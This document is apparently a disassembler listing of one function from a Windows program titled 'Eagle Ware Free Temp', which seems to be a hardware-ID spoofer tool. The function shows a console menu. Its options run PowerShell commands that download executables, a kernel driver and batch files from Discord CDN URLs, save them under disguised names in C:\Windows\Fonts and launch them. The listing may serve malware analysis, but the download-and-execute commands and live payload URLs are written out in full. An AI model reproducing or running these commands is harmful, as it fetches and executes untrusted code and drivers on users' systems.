Function at 0x140001000
Capabilities:
Execute command

Disassembly:
sub rsp, 0x38
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x28], rax
lea rcx, str.echo_e_94m_Eagle_Ware_Free_Temp
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.echo_e_93m_________________e_93m
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.echo_e_94m_1__spoof
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.echo_e_94m_2__UEFI_Spoof
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.echo_e_94m_3__Clean
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.echo_e_94m_4__Check_Serials
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.echo_e_94m_5__Exit
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea rdx, [rsp + 0x20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov eax, dword [rsp + 0x20]
lea rcx, str.color_0
cmp eax, 1
jne 0x1400010d1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.powershell__Command___New_Object_System.Net.WebClient_.DownloadFile_https:__cdn.discordapp.com_attachments_1252235876394602536_1254170649124012032_strnmap.exe_ex667884f0is66773370hm2ce8d6995b8b8984060b1f292b84c1f4d90b364c95736062348f1666b2e31b92__C:WindowsFontsMapper.exe__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.powershell__Command___New_Object_System.Net.WebClient_.DownloadFile_https:__cdn.discordapp.com_attachments_1252235876394602536_1254192139617828945_LEGIT_WOOFING.sys_ex667898f3is66774773hmdca9b4e3c657675a48aeaf53a23edd22dae48066063de47c0f6ae08ab35e2390__C:WindowsFontsdriver.sys__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_C:WindowsFontsMapper.exe_C:WindowsFontsdriver.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140001400
add rsp, 0x38
ret
cmp eax, 2
jne 0x14000110a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.powershell__Command___New_Object_System.Net.WebClient_.DownloadFile_https:__cdn.discordapp.com_attachments_1252235876394602536_1254181909039157310_MacChangeSafe.bat_ex66788f6cis66773dechm2351bf06bc3558d900cac4b12d4511bb87928d469b1cbcab7abbe1a404cb0230__C:WindowsFontsCleaner.exe__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_C:WindowsFontsCleaner.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140001400
add rsp, 0x38
ret
cmp eax, 3
jne 0x140001143
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.powershell__Command___New_Object_System.Net.WebClient_.DownloadFile_https:__cdn.discordapp.com_attachments_1254189731625959517_1254191241176813720_loader.bat_ex6678981dis6677469dhm3e45ead79afa47a16b8e75979306c24c9e8c964903a2c73180de50351fb3db2e__C:WindowsFonts_serialchecker.bat__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_C:WindowsFonts_serialchecker.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140001400
add rsp, 0x38
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001180
mov rcx, rax
lea rdx, [0x140001340]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140001400
add rsp, 0x38
ret